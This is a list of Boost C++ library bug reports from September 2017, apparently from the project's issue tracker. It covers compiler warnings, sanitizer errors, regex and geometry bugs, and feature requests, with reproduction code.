Sun, 01 Oct 2017 14:01:11 GMT

There is no warning 4675 for the MS compiler.

Compiling gives

boost/move/detail/config_begin.hpp(17): warning C4619: #pragma warning: there is no warning number '4675'

warning C4619 is (level 3) so visible in most cases.

My compiler:

Microsoft (R) C/C++ Optimizing Compiler Version 19.11.25508.2 for x64

#13235: Wrong "Getting Started" link

anonymous — Fri, 29 Sep 2017 07:56:18 GMT

Hi,

In https://svn.boost.org/trac10/wiki/ModularBoost, the getting stated link points to the wrong page (which can be obtained to following the link).

Thanks

#13233: address sanitize dumps error

anonymous — Fri, 29 Sep 2017 03:16:34 GMT

When compiler user code with -fsanitize=address -fsanitize=undefined,it dumps:

/usr/local/include/boost/smart_ptr/detail/shared_count.hpp:426:36: runtime error: member call on address 0x6030000134b0 which does not point to an object of type 'sp_counted_base'
0x6030000134b0: note: object is of type 'boost::detail::sp_counted_impl_p<boost::log::v2_mt_posix::core>'
 03 00 80 6a  40 2a 4f fb b6 7f 00 00  05 00 00 00 01 00 00 00  b0 ed 00 00 20 60 00 00  00 00 00 00
              ^~~~~~~~~~~~~~~~~~~~~~~
              vptr for 'boost::detail::sp_counted_impl_p<boost::log::v2_mt_posix::core>'
/usr/local/include/boost/log/attributes/attribute_value.hpp:200:37: runtime error: member call on address 0x60400000cad0 which does not point to an object of type 'impl'
0x60400000cad0: note: object is of type 'boost::log::v2_mt_posix::attributes::attribute_value_impl<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >'
 01 00 00 43  88 2a 4f fb b6 7f 00 00  01 00 00 00 be be be be  b0 22 01 00 30 60 00 00  1d 00 00 00
              ^~~~~~~~~~~~~~~~~~~~~~~
              vptr for 'boost::log::v2_mt_posix::attributes::attribute_value_impl<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >'

could you fix it?It may caused by logging::core instance

#13232: u32regex_replace - None of these prototypes have callback formatter capability

robic@… — Thu, 28 Sep 2017 21:08:28 GMT

I've had to do a workaround using a u32regex_iterator.
This one takes parameters wstring, u32regex, and function address.
(Internally it converts the wstring to u32string and does
the replacement with the user callback).

I just have to add more prototypes for the different forms
needed, but it would be nice if I didn't have to do this.

void U_Regex_Replace_Callback(
	X_string& strSrc,
	U_X_regex& Rx,
	X_32string (*func)(X_u32smatch) )
{
	X_32string str32Src, str32Repl, str32Out;
	WstrToU32string( strSrc, str32Src );
	str32Out.clear();
	boost::u32regex_iterator<std::u32string::const_iterator>
		i(boost::make_u32regex_iterator( str32Src, Rx)), j;
	U32SITR last = str32Src.begin();
	while(i != j)
	{
		str32Out.append( (*i).prefix() );
		str32Out.append( func( (*i) ) ) ;
		last = (*i)[0].second;
	    ++i;
	}
	str32Out.append( last, str32Src.end() );
	U32stringToWstr( str32Out, strSrc );
}

#13231: u32regex_replace() for std::u32string (UTF-32) won't compile

robic@… — Wed, 27 Sep 2017 23:24:52 GMT

Note - This pertains to input UTF-32 strings.

Compiler: VS2015 , VC++ Boost version: 1.64

The u32regex_search() works fine and as expected

=================================

Problem description: Intellisence detects proper input
parameters using the u32string parameter, but throws many
errors when compiling.

The errors start with

boost_1_64_0\boost/functional/hash/extensions.hpp(262): error C2664: 'size_t boost::hash_value(std::type_index)': cannot convert argument 1 from 'const char32_t' to 'std::type_index'

and end with

RxReplace.cpp(9255): note: see reference to function template instantiation 'std::basic_string<char32_t,std::char_traits<char32_t>,std::allocator<char32_t>> boost::u32regex_replace<char32_t>(const std::basic_string<char32_t,std::char_traits<char32_t>,std::allocator<char32_t>> &,const boost::u32regex &,const std::basic_string<char32_t,std::char_traits<char32_t>,std::allocator<char32_t>> &,boost::regex_constants::match_flag_type)' being compiled

with about 20 errors in between.

I hope this is just a problem with extensions.hpp
and maybe there is a quick fix (or it has already been fixed).
I desperately need this to work with std::u32string types
as UnicodeString just won't cut it for my purposes.

From the documentation:
u32regex_replace

For each regex_replace algorithm defined by
<boost/regex.hpp>, then <boost/regex/icu.hpp> defines an overloaded algorithm that takes the same arguments, but which is called u32regex_replace, and which will accept UTF-8, UTF-16 or UTF-32 encoded data, as well as an ICU UnicodeString as input.

The code below reproduces the compile errors

	// rxconst.h
	// ==============================
	typedef std::u32string   X_32string;
	typedef std::wstring     X_string;
	typedef boost::u32regex  U_X_regex;
	typedef boost::u32match  X_u32match;
	typedef std::u32string::const_iterator U32SITR;
	#define U_MAKEREGEX(str,options) make_u32regex(str,options)
	#define U_REGEX_SEARCH boost::u32regex_search
	#define U_REGEX_REPLACE boost::u32regex_replace
	// RxReplace.cpp ( won't compile )
	// ==============================
	#include "rxconst.h";
	U_X_regex uRx = U_MAKEREGEX( _T("[trgt]+"), regex_constants::perl );
	X_32string sTarget, sFmt, sOutput;
	WstrToU32string( X_string(_T("target")), sTarget );
	WstrToU32string( X_string(_T("")), sFmt );
	sOutput =  U_REGEX_REPLACE( sTarget, uRx, sFmt );	// <-- Won't compile
	// RxSearch.cpp ( compiles and runs as expected )
	// ==============================
	#include "rxconst.h";
	U_X_regex uRx = U_MAKEREGEX( _T("[abce]+"), regex_constants::perl );
	X_32string sSrc;
	WstrToU32string( X_string(_T("source")), sSrc );
	U32SITR SitrStart = sSrc.begin();
	U32SITR start = SitrStart;
	U32SITR end   = sSrc.end();
	X_u32match _M;
	while ( U_REGEX_SEARCH( start, end, _M, uRx, Flags, SitrStart ) )
	{
		// ...
	}

#13230: _FILE_OFFSET_BITS=64 breaks compilation with Android NDK r15 and API<24

d.mikhirev@… — Wed, 27 Sep 2017 18:09:30 GMT

Behavior of _FILE_OFFSET_BITS in Android NDK is described at android.googlesource.com/platform/bionic/+/master/docs/32-bit-abi.md

Android support for _FILE_OFFSET_BITS=64 (which turns off_t into off64_t and replaces each off_t function with its off64_t counterpart, such as lseek in the source becoming lseek64 at runtime) was added late. Even when it became available for the platform, it wasn‘t available from the NDK until r15. Before NDK r15, _FILE_OFFSET_BITS=64 silently did nothing: all code compiled with that was actually using a 32-bit off_t. With a new enough NDK, the situation becomes complicated. If you’re targeting an API before 21, almost all functions that take an off_t become unavailable. You‘ve asked for their 64-bit equivalents, and none of them (except lseek/lseek64) exist. As you increase your target API level, you’ll have more and more of the functions available. API 12 adds some of the <unistd.h> functions, API 21 adds mmap, and by API 24 you have everything including <stdio.h>.

In filesystem/src/operations.cpp _FILE_OFFSET_BITS is unconditionally defined to 64 in hope that

at worst, these defines may have no effect

It actually breaks compilation with Android NDK r15 if __ANDROID_API__ is less than 24.

#13228: argument parsing errors when unit_test_main() is called in a loop more than ones

claus.klein@… — Thu, 21 Sep 2017 19:54:40 GMT

I want to run my test suit in a loop to detect race conditions in a multi threading environment. You may see at my example test suit.

The problems does not occur with long options!

Claus-MBP:AgentProV4 clausklein$ ./demo_test -l all -2
loops requested: 2
0: ./demo_test
1: -l
2: all
Running 1 test case...
Entering test module "Demo"
demo_test.cpp:11: Entering test case "QueuedThreadPoolLoad_test"
simple compare
demo_test.cpp:16: info: check i == 0 has passed
demo_test.cpp:11: Leaving test case "QueuedThreadPoolLoad_test"; testing time: 88us
Leaving test module "Demo"; testing time: 133us
*** No errors detected
0: ./demo_test
1: -l
2: all
loops left: 1
Boost.Test WARNING: token "all" does not correspond to the Boost.Test argument
                    and should be placed after all Boost.Test arguments and the -- separator.
                    For example: demo_test --random -- all
Boost.Test WARNING: token "all" does not correspond to the Boost.Test argument
                    and should be placed after all Boost.Test arguments and the -- separator.
                    For example: demo_test --random -- all
Running 1 test case...
*** No errors detected
Claus-MBP:AgentProV4 clausklein$ ./demo_test --random --run_test=QueuedThreadPoolLoad_test -2
loops requested: 2
0: ./demo_test
1: --random
2: --run_test=QueuedThreadPoolLoad_test
Running 1 test case...
*** No errors detected
0: ./demo_test
1: --random
2: --run_test=QueuedThreadPoolLoad_test
loops left: 1
Running 1 test case...
*** No errors detected
Claus-MBP:AgentProV4 clausklein$ ./demo_test -i
0: ./demo_test
1: -i
Running 1 test case...
Platform: Mac OS
Compiler: Clang version 8.0.0 (clang-800.0.42.1)
STL     : libc++ version 3700
Boost   : 1.65.1
*** No errors detected
Claus-MBP:AgentProV4 clausklein$

#13227: exception.hpp : disable false warning C4265 given by Visual Studio

Thu, 21 Sep 2017 18:30:26 GMT

Hi,

MSVC falsely report a missing virtual destructor inside exception.hpp Would it be possible to add a "pragma warning (disable:4265)" in this file ? This will *not* happen with the default settings of Visual Studio : it happens when trying to raise the warning level (/we4265 : treat "misssing virtual destructor" as an error)

Steps to reproduce the problem :

Compile the following program:

#include <string>
#include <iostream>
#include <boost/optional/optional.hpp>
int main(int argc, char **argv)
{
  boost::optional<std::string> name;
  if (argc > 1)
    name.reset(argv[1]);
  if (name.is_initialized())
    std::cout << "Hello, " << name.get() << "\n";
  else
    std::cout << "Hello, world \n";
  return 0;
}

With the following command line :

  cl hello.cpp /Iboost_1_64_0 /EHa /W3 /we4265

outputs

c:\tmp>cl hello.cpp /Iboost_1_64_0 /EHa /W3 /we4265
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24215.1 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.
hello.cpp
boost_1_64_0\boost/exception/exception.hpp(176): error C4265: 'boost::exception_detail::error_info_container': class has virtual functions, but destructor is not virtual
         instances of this class may not be destructed correctly

For more details, please also refer to https://github.com/ivsgroup/boost_warnings_minimal_demo

The problem occurs with boost 1.64 and 1.62.

Thanks & regards !

#13225: operator != fails in classes derived from boost::rational

Thu, 21 Sep 2017 14:47:48 GMT

In a class derived from boost::rational operator != seems to return "false" always.

#include <iostream>
#include <boost/rational.hpp>
struct RationalNumber : public boost::rational<int> {
	RationalNumber(int n, int d) : boost::rational<int>(n, d) {}
};
using namespace std;
template <typename T>	void	check()
{
T	r(2, 3);
T	q(2, 3);
T	s(2, 4);
	cout << (r!=q) << " " << (r!=s) << endl;
}
int	main()
{
	check<boost::rational<long long>>(); // works
	cout << "---------------" << endl;
	check<RationalNumber>(); // fails for boost version > 1_63_0
	return 0;
}

Bug appears since boost version 1_64_0 and is present in current development trunk (git repository on 20170921) still.

#13224: Error compiling odeint with nvcc CUDA 9 error in ublas

jorge_221@… — Thu, 21 Sep 2017 12:44:14 GMT

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(640): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(1418): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(2780): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(640): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(1418): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(2780): warning: invalid friend declaration

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(640): error C2039: 'iterator': is not a member of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(37): note: see declaration of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(641): note: see reference to class template instantiation 'boost::numeric::ublas::vector<T,A>::const_iterator ' being compiled C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(826): note: see reference to class template instantiation 'boost::numeric::ublas::vector<T,A>' being compiled C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(1418): error C2039: 'iterator': is not a member of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(37): note: see declaration of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(1419): note: see reference to class template instantiation 'boost::numeric::ublas::fixed_vector<T,N,A>::const_iterator' being compiled C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(1604): note: see reference to class template instantiation 'boost::numeric::ublas::fixed_vector<T,N,A>' being

compiled

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(2780): error C2039: 'iterator': is not a member of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(37): note: see declaration of 'boost::numeric::ublas' C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(2781): note: see reference to class template instantiation 'boost::numeric::ublas::c_vector<T,N>::const_iterator' being compiled C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin/../include\boost/numeric/ublas/vector.hpp(2950): note: see reference to class template instantiation 'boost::numeric::ublas::c_vector<T,N>' being compiled

#13222: Documentation for header-only libraries inaccurate

Thu, 21 Sep 2017 09:00:25 GMT

The documentation at

http://www.boost.org/doc/libs/1_65_1/more/getting_started/unix-variants.html#header-only-libraries

lists the libraries which must be be compiled separately.

Executing the following on the command line

./bootstrap.sh --show-libraries

however, produces a different list (see below). It seems the docu is missing the libraries:

atomic, container, coroutine, fiber, metaparse, stacktrace and type_erasure

which I suggested should be added to the (html) documentation

./bootstrap.sh --show-libraries

The Boost libraries requiring separate building and installation are:

atomic
chrono
container
context
coroutine
date_time
exception
fiber
filesystem
graph
graph_parallel
iostreams
locale
log
math
metaparse
mpi
program_options
python
random
regex
serialization
signals
stacktrace
system
test
thread
timer
type_erasure
wave

#13218: Xcode 8/9 static analyzer warning in socket_ops.ipp:2023:5: function 'strcat' is insecure. CWE-119

mark_hastings@… — Tue, 19 Sep 2017 21:03:31 GMT

The warning generated on macOS by the Xcode 9 static analyzer for files that #include asio.hpp is:

In file included from /mnt/boost/asio.hpp:21: In file included from /mnt/boost/asio/basic_datagram_socket.hpp:21: In file included from /mnt/boost/asio/datagram_socket_service.hpp:30: In file included from /mnt/boost/asio/detail/reactive_socket_service.hpp:30: In file included from /mnt/boost/asio/detail/reactive_socket_accept_op.hpp:24: In file included from /mnt/boost/asio/detail/socket_holder.hpp:20: In file included from /mnt/boost/asio/detail/socket_ops.hpp:333: /mnt/boost/asio/detail/impl/socket_ops.ipp:2023:5: warning: Call to function 'strcat' is insecure as it does not provide bounding of the memory buffer. Replace unbounded copy functions with analogous functions that support length arguments such as 'strlcat'. CWE-119

Since a lot of our files include asio.hpp, we see this warning over and over again. And unfortunately I know of no way to suppress this issue, so I'm hoping you can adjust the implementation to use strlcpy. Some of the other layers in Boost seem to have done this already, so maybe you don't have to re-invent the wheel.

#13217: remove_all(const path& p, system::error_code& ec) is not supposed to throw filesystem_error, but still can

Tue, 19 Sep 2017 20:17:47 GMT

I will be submitting a github pull request in association with this ticket.

According to the documentation, uintmax_t remove_all(const path& p, system::error_code& ec) is not supposed to throw filesystem_error. However, when the directory_iterator used in the loop inside the implementation helper function remove_all_aux() is incremented, it's not done in a way that considers the ec argument. So, when incrementing the iterator fails, the operator++() on the directory_iterator throws, which leads to remove_all() incorrectly throwing.

To fix this, it seems that one can take the same approach as the recent changes for Fix #7307 (commit 4e4374336c640c2717f6a1b168406e11bdf7d6f1) and replace the ++itr call in the loop with an explicit call to either directory_iterator::increment(system::error_code& ec) whenever an ec argument is in effect. This should prevent remove_all() from throwing in such cases and thus allow it to conform to its interface specification.

BTW I also found these possibly related tickets in Trac:

#13216: Failed to build Boost.Build engine

anonymous — Tue, 19 Sep 2017 15:48:26 GMT

Failed to build Boost.Build engine. I'm trying to build 1.64 boost in VSC2017

#13215: Polygon union give a different result depending of the order

flamaros.xavier@… — Mon, 18 Sep 2017 16:02:20 GMT

I found a precision issue with union between polygons and the result vary depending of the order.

We add consecutive polygons to a multi-polygon that contains the previous result. The union of polygons (that have only one outer contour) in the following order give an empty union:

Polygon[(-5.180416107177734375,0.46142292022705078125),(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,4.818223476409912109375),(-2.6576340198516845703125,7.19262790679931640625),(-7.35814762115478515625,7.19262790679931640625),(-7.35814762115478515625,4.818223476409912109375),(-7.35814762115478515625,0.46142292022705078125)]
Polygon[(-7.35814762115478515625,-1.8333890438079833984375),(-7.35814762115478515625,-5.162303924560546875),(-3.343097686767578125,-5.162303924560546875),(-3.3430979251861572265625,-1.19531953334808349609375),(-3.343098163604736328125,0.4614227116107940673828125),(-2.6576340198516845703125,0.4614226818084716796875),(-2.6576340198516845703125,4.79442691802978515625),(-5.180416107177734375,4.79442691802978515625),(-7.35814762115478515625,4.79442691802978515625),(-7.35814762115478515625,0.46142292022705078125)]
Polygon[(4.4465618133544921875,-5.162303924560546875),(4.4465618133544921875,-1.195319652557373046875),(3.5822856426239013671875,-1.195319652557373046875),(-3.3430979251861572265625,-1.19531953334808349609375),(-3.343097686767578125,-5.162303924560546875)]
Polygon[(3.5822856426239013671875,-1.195319652557373046875),(3.5822856426239013671875,0.4614227116107940673828125),(-2.6576340198516845703125,0.4614226818084716796875),(-3.343098163604736328125,0.4614227116107940673828125),(-3.3430979251861572265625,-1.19531953334808349609375)]
Polygon[(-0.0815036296844482421875,-5.162303924560546875),(-0.0815036296844482421875,-4.110321521759033203125),(-2.6576340198516845703125,-4.110321521759033203125),(-2.6576340198516845703125,-5.162303924560546875)]
Polygon[(-0.0815036296844482421875,0.46142292022705078125),(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,-0.438062191009521484375),(-0.0815036296844482421875,-0.438062191009521484375)]
Polygon[(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,-0.438062191009521484375),(-2.6576340198516845703125,-4.110321521759033203125),(-2.6576340198516845703125,-5.162303924560546875),(-0.0815036296844482421875,-5.162303924560546875),(-0.0815036296844482421875,-4.110321521759033203125),(-0.0815036296844482421875,-0.438062191009521484375),(-0.0815036296844482421875,0.46142292022705078125)]

Same polygons in a different order give the expected result:

Polygon[(4.4465618133544921875,-5.162303924560546875),(4.4465618133544921875,-1.195319652557373046875),(3.5822856426239013671875,-1.195319652557373046875),(-3.3430979251861572265625,-1.19531953334808349609375),(-3.343097686767578125,-5.162303924560546875)]
Polygon[(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,-0.438062191009521484375),(-2.6576340198516845703125,-4.110321521759033203125),(-2.6576340198516845703125,-5.162303924560546875),(-0.0815036296844482421875,-5.162303924560546875),(-0.0815036296844482421875,-4.110321521759033203125),(-0.0815036296844482421875,-0.438062191009521484375),(-0.0815036296844482421875,0.46142292022705078125)]
Polygon[(-0.0815036296844482421875,-5.162303924560546875),(-0.0815036296844482421875,-4.110321521759033203125),(-2.6576340198516845703125,-4.110321521759033203125),(-2.6576340198516845703125,-5.162303924560546875)]
Polygon[(3.5822856426239013671875,-1.195319652557373046875),(3.5822856426239013671875,0.4614227116107940673828125),(-2.6576340198516845703125,0.4614226818084716796875),(-3.343098163604736328125,0.4614227116107940673828125),(-3.3430979251861572265625,-1.19531953334808349609375)]
Polygon[(-0.0815036296844482421875,0.46142292022705078125),(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,-0.438062191009521484375),(-0.0815036296844482421875,-0.438062191009521484375)]
Polygon[(-7.35814762115478515625,-1.8333890438079833984375),(-7.35814762115478515625,-5.162303924560546875),(-3.343097686767578125,-5.162303924560546875),(-3.3430979251861572265625,-1.19531953334808349609375),(-3.343098163604736328125,0.4614227116107940673828125),(-2.6576340198516845703125,0.4614226818084716796875),(-2.6576340198516845703125,4.79442691802978515625),(-5.180416107177734375,4.79442691802978515625),(-7.35814762115478515625,4.79442691802978515625),(-7.35814762115478515625,0.46142292022705078125)]
Polygon[(-5.180416107177734375,0.46142292022705078125),(-2.6576340198516845703125,0.46142292022705078125),(-2.6576340198516845703125,4.818223476409912109375),(-2.6576340198516845703125,7.19262790679931640625),(-7.35814762115478515625,7.19262790679931640625),(-7.35814762115478515625,4.818223476409912109375),(-7.35814762115478515625,0.46142292022705078125)]

The result:

Polygon[(-0.0815036296844482421875,-5.162303924560546875),(-0.0815036296844482421875,-4.110321521759033203125),(-2.6576340198516845703125,-4.110321521759033203125),(-2.6576340198516845703125,-5.162303924560546875)]

Notes:

We use float
This issue happens with mingw32, when tested with Visual 2015 (32bits compilation too) everything is good. Both compiler are used with default options for float precision strategy.
Prints are made with "%.64g" format option of printf to avoid financial round.
Those polygons are counter clockwise and open, but I also test them reversed and close, it gives the same result.

#13214: Boost::process examples fail to compile in Visual studio 2012 Win 7

daniele.trimarchi@… — Mon, 18 Sep 2017 15:25:10 GMT

This ticket is related to #12990, as the compatibility of boost::process is broken with Visual Studio 2012 too. The problem is due to several features of C++11 - C++17 that break the compatibility with VS2012 :

noexcept in process/detail/config.hpp (easy to substitute with BOOST_NOEXCEPT)
constexpr in process/detail/config.hpp and process/detail/handler_base.hpp
using resource_type = void in process/detail/handler_base.hpp
#include <initializer_list> in process/detail/traits/cmd_or_exe.hpp (this feature is available in VS2013)

#13210: Signed integer overflow in successive_shortest_path_nonnegative_weights()

grievejia@… — Wed, 13 Sep 2017 20:33:09 GMT

Buiding and running the following program with UndefinedBehaviorSanitizer will generate a report on signed integer overflow error:

#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/read_dimacs.hpp>
#include <boost/graph/successive_shortest_path_nonnegative_weights.hpp>
#include <iostream>
using namespace boost;
using Traits = adjacency_list_traits<vecS, vecS, directedS>;
using Graph = adjacency_list<
    vecS, vecS, directedS, no_property,
    property<edge_capacity_t, int,
             property<edge_residual_capacity_t, int,
                      property<edge_reverse_t, Traits::edge_descriptor,
                               property<edge_weight_t, int>>>>>;
template <typename Map, typename Edge>
void fill_capacity(Map &m, Edge e, Edge er, int c) {
  put(m, e, c);
  put(m, er, 0);
}
template <typename Map, typename Edge> void fill_rev(Map &m, Edge e, Edge er) {
  put(m, e, er);
  put(m, er, e);
}
template <typename Map, typename Edge>
void fill_weight(Map &m, Edge e, Edge er, int w) {
  put(m, e, w);
  put(m, er, -w);
}
int main() {
  Graph g(4);
  auto capacity = get(edge_capacity, g);
  auto rev = get(edge_reverse, g);
  auto weight = get(edge_weight, g);
  auto e0 = add_edge(0, 1, g).first;
  auto e0r = add_edge(1, 0, g).first;
  auto e1 = add_edge(0, 2, g).first;
  auto e1r = add_edge(2, 0, g).first;
  auto e2 = add_edge(1, 2, g).first;
  auto e2r = add_edge(2, 1, g).first;
  // What the weights and capacities are don't really matter as long as they are all positive
  fill_capacity(capacity, e0, e0r, 1);
  fill_capacity(capacity, e1, e1r, 1);
  fill_capacity(capacity, e2, e2r, 1);
  fill_rev(rev, e0, e0r);
  fill_rev(rev, e1, e1r);
  fill_rev(rev, e2, e2r);
  fill_weight(weight, e0, e0r, 1);
  fill_weight(weight, e1, e1r, 1);
  fill_weight(weight, e2, e2r, 1);
  successive_shortest_path_nonnegative_weights(g, 0, 2);
}

Here's the stacktrace collected by UBSan (simplified for readability):

/usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:104:57: runtime error: signed integer overflow: 2147483647 + 2147483647 cannot be represented in type 'int'
    #0 0x43fccd in void boost::successive_shortest_path_nonnegative_weights<...>(...) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:104:57
    #1 0x43d7dc in void boost::detail::successive_shortest_path_nonnegative_weights_dispatch3<...>(...) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:148:5
    #2 0x43bf40 in void boost::detail::successive_shortest_path_nonnegative_weights_dispatch2<...>(...) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:186:5
    #3 0x43b2ba in void boost::detail::successive_shortest_path_nonnegative_weights_dispatch1<...>(...) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:223:5
    #4 0x43b018 in void boost::successive_shortest_path_nonnegative_weights<boost::adjacency_list<...>, int, boost::buffer_param_t, boost::no_property>(...) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:238:12
    #5 0x42b046 in void boost::successive_shortest_path_nonnegative_weights<...>(boost::adjacency_list<...>&, boost::graph_traits<...>::vertex_descriptor, boost::graph_traits<...>::vertex_descriptor) /usr/include/boost/graph/successive_shortest_path_nonnegative_weights.hpp:255:5
    #6 0x42a520 in main /home/grieve/Research/Testing/boost/reduced.cpp:56:3
    #7 0x7f7cb22e3f69 in __libc_start_main (/usr/lib/libc.so.6+0x20f69)
    #8 0x4039b9 in _start (/home/grieve/Research/Testing/boost/reduced+0x4039b9)

The problem here is that function successive_shortest_path_nonnegative_weights() does not take into account the fact that its input graph might be disconnected and therefore it is possible for some shortest path distances to be infinity.

#13209: erdos_renyi_iterator hangs when n is 1

grievejia@… — Wed, 13 Sep 2017 18:04:15 GMT

Running the following program would result in an infinite loop:

#include <boost/graph/erdos_renyi_generator.hpp>
#include <boost/graph/adjacency_list.hpp>
#include <random>
using Graph = boost::adjacency_list<>;
using ERGen = boost::erdos_renyi_iterator<std::mt19937, Graph>;
int main() {
  std::mt19937 gen;
  int n = 1;
  Graph g(ERGen(gen, n, 0.5), ERGen(), n);
}

This is caused by the while loop inside erdos_renyi_iterator::next(). If n is 1 and allow_self_loops is false, the loop condition will be true forever. A simple change that makes an early exit for the n=1 case would fix the problem.

#13208: Make boost::optional trivially destructible, copyable and movable if T is

1zeeky@… — Wed, 13 Sep 2017 09:59:39 GMT

Conceptually there's nothing preventing boost::optional<T> from being trivially destructible, copyable and movable if T is. This could be useful, for instance, to use an boost::optional<T> as a union-member.

I have a POC implementation based on Boost 1.64 here.
I moved m_storage and m_initialized to a new class optional_storage, representing the new base class. Some methods managing those members are move there as well. optional_base indirectly inherits from optional_storage through optional_destroyer, optional_mover and optional_copier, which are templated classes including a boolean parameter to determine whether T is trivially destructible, movable and copyable and use template specialization to provide the respective trivial members.
The implementation relies on defaulting constructors, so without C++11 or newer only trivial destruction is possible.

#13207: boost::spirit::istream_iterator unusable with boost::asio::ip::tcp::iostream

Wed, 13 Sep 2017 01:27:53 GMT

Hi,

I'm really looking forward to using boost::spirit in my next project. Unfortunately, I seem to have hit a roadblock in that the boost::spirit::istream_iterator constructor completely locks up when it is passed a boost::asio::ip::tcp::iostream reference.

I come from a (much stronger) C background, so perhaps I'm missing the greater picture, but in the "spirit" of a C++ stream-based API, I would have thought that any input stream would work with spirit's forward iterator - at least that's how I interpreted the documentation.

A really simple example is the following:

#include <boost/asio.hpp>
#include <boost/spirit/include/support_istream_iterator.hpp>
#include <iostream>
int main( int argc, char *argv[] ) {
	static const int port = 443;
	if ( 2 != argc ) {
		std::cout << "usage: " << argv[ 0 ] << " <fqdn>" << std::endl;
		std::cout << std::endl;
		std::cout << "where <fqdn> is e.g. www.google.ca" << std::endl;
		return 0;
	}
	std::string fqdn( argv[ 1 ] );
	std::cout << "creating fds.." << std::endl;
	boost::asio::ip::tcp::iostream fds( fqdn, std::to_string( port ) );
	if ( ! fds ) {
		std::cerr << "unable to create fds: " << fds.error().message() << std::endl;
		return 1;
	}
	std::cout << "creating istream_iterator.." << std::endl;
	boost::spirit::istream_iterator begin( fds );
	std::cout << "created istream_iterator!" << std::endl;
	return 0;
}

Compile with

g++ -std=c++14 -o foo foo.cpp -lboost_system

Any thoughts?

#13206: regex constructor throws regex_error for simple expression

Tue, 12 Sep 2017 12:01:45 GMT

The code below throws boost::regex_error when creating an instance of boost::regex. I compile with visual studio 2015 and uses boost 1.65 precompiled for 32 bit windows (boost_1_65_1-msvc-14.0-32.exe)

#include "stdafx.h" #include <boost/regex.hpp> int main() {

try {

boost::regex re("[A-Z-.]+");

} catch (...) { assert(false); }

return 0;

}

#13205: Suurballe's algorithm for finding two edge disjoint paths in non-negatively weighted graphs would be a great addition to BGL

tobiaskussel@… — Mon, 11 Sep 2017 11:43:34 GMT

Suurballe's algorithm is used to find two edge disjoint paths in non-negatively weighted graphs. This is a often occuring problem when dealing with telecommunication networks, due to resilience constrains. The addition to the BGL tookit would be greatly appreciated (even if the algorithm is not terribly difficult to implement).

#13204: Warning when compiling with -Wdeprecated-dynamic-exception-spec in clang

viboes — Sat, 09 Sep 2017 23:44:29 GMT

When compiling with -Wdeprecated-dynamic-exception-spec in clang we get the following warning

/xxx/modular-boost3/boost/smart_ptr/bad_weak_ptr.hpp:50:39: error: dynamic exception specifications are deprecated [-Werror,-Wdeprecated-dynamic-exception-spec]
    virtual char const * what() const throw()
                                      ^~~~~~~
/Users/viboes/github/modular-boost3/boost/smart_ptr/bad_weak_ptr.hpp:50:39: note: use 'noexcept' instead
    virtual char const * what() const throw()
                                      ^~~~~~~
                                      noexcept
1 error generated.

I don't know if using instead BOOST_NOEXCEPT_OR_NOTHROW is correct and should resolve the issue.

#13203: adjacent_filtered lets the first element entry through

Sat, 09 Sep 2017 20:40:01 GMT

adjacent_filtered always lets the first element of the range leak through, even for a predicate that rejects that element as either argument. Eg.

int main() {
        const std::vector<int> a = { 0, 1, 2, 3, 4, 5 };
        auto b = a | boost::adaptors::adjacent_filtered( [] (const int &x, const int &y) {
                return ( ( x > 2 ) && ( y > 2 ) );
        } );
        for (const auto &x : b) {
                std::cerr << x << "\n";
        }
}

…outputs:

0
4
5

From what I can see in the code, the predicate is currently only applied in the increment() function, which leaves it too late for the first element to be checked.

